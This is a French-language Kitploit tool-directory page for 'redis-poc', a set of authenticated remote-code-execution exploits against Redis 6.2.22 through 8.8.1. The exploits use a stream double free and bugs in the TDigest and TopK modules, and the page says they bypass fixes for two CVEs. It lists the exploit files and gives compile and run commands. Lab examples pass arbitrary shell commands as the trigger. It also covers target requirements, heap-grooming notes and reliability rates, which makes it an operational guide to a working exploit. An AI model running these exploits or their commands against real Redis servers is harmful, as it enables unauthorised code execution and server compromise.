Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
redis-poc — RCE PoC pour Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1 | Kitploit
Outils/GitHubGitHub/berabuddies/redis-poc
Analyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingSécurité des Bases de DonnéesExploitation de Binaires
GitHubberabuddies/redis-poc

redis-poc

RCE PoC pour Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1

Voir le dépôt
487118il y a 28 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

RCE authentifié Redis (stream NACK double free, bugs des modules TDigest & TopK)

Exploits RCE non destructifs pour Redis 6.2.22, 7.4.9, 8.6.4 via le shared-NACK double free du groupe de consommateurs du stream (un contournement du correctif de CVE-2026-25243), 8.8.0 via un dépassement de tas TDigest dans le RedisBloom fourni, et 8.8.1 via un TopK wild free (un contournement du correctif de CVE-2026-25589).

Fichiers

  • A_exploit_stock.py — exploit pour 6.2.22 (redis:6.2.22 image)
  • P74_exploit.py (+ P74_g2.py) — exploit pour 7.4.9 (redis:7.4)
  • P86_exploit.py — exploit pour 8.6.4 (redis:8.6)
  • P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit pour 8.8.0 (redis:8.8.0, via débordement de tas du module fourni TDigest)
  • T88_exploit.py — exploit pour 8.8.0 et 8.8.1 (via wild free du module fourni TopK; contournement du correctif incomplet de CVE-2026-25589 — fonctionne sur RedisBloom v8.8.0 et v8.8.2)
  • A_lib.py, G2_arbread.py — utilitaires partagés (doivent se trouver à côté des exploits)
  • crc64.c/h, crcspeed.c/h — sources de libcrc64.so (CRC64 Redis, nécessaire pour construire des payloads RESTORE valides)
  • calibrate.sh — calcule les offsets binaires pour les builds non officiels
  • P74_loop.sh, P86_run.sh — wrappers de relance au démarrage

Compilation (une seule fois)

root@kitploit:~
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c

Prérequis : Python 3.6+ (aucun paquet pip), gcc.

Utilisation

root@kitploit:~
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]

# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]

# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]

# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
  • password — omettez (ou passez "") pour les cibles sans authentification
  • trigger — commande shell, écrit par défaut une preuve sous /data/pwned*

Exemples :

root@kitploit:~
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"

# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"

# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"

# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"

Exigences de la cible

  • 6.2.22 : offsets d'image officielle par défaut. Pour d'autres builds, remplacez les offsets (--str-format-off etc. ; voir --help), ou lancez ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] pour les générer. Des offsets erronés font planter le serveur cible (lectures hors limites).
  • 7.4.9 / 8.6.4 / 8.8.0 / 8.8.1 : images officielles d'origine, aucun flag de debug nécessaire.
  • Commandes disponibles pour l'utilisateur : EVAL, RESTORE, XGROUP (8.8.0/8.8.1 nécessitent aussi le module RedisBloom fourni, présent par défaut).
  • Les exploits 8.8.0/8.8.1 sont sensibles à la disposition mémoire : le corridor TDigest et le wild free TopK dépendent tous deux de la disposition jemalloc — utilisez une instance fraîche sans autre client/commande entrelacé, et réessayez en cas d'échec de grooming.

Notes

  • Résidus après exécution (délibérés, inertes) : quelques clés d'exploit qui maintiennent en vie des chunks doublement libérés ; voir HARDENING.md pour les détails. L'exploit 8.8.0 laisse ~2000 structures tdigest mises à zéro + une clé oracle corrompue — ne faites pas de FLUSHALL/SAVE sur la cible ensuite.
  • Le shared-NACK double free n'est corrigé que dans 8.8.0 (PR #15081) ; l'exploit 8.8.0 utilise à la place un bug de module fourni distinct, non corrigé.
  • Contournements de correctifs démontrés : la variante shared-NACK contourne le correctif de CVE-2026-25243 ; le wild free TopK contourne le correctif de CVE-2026-25589 (mise à zéro partielle des pointeurs — TopK_Destroy lit toujours tous les pointeurs k au-delà du tas trop petit dans RedisBloom v8.8.0 et v8.8.2).
  • Fiabilité : 6.2.22 10/10, 7.4.9 5/5, 8.6.4 25/25, 8.8.0 5/5 validés sur des conteneurs frais. Les échecs s'interrompent proprement ; relancez ou utilisez les wrappers.

Pour tests autorisés uniquement.

Télécharger l’outil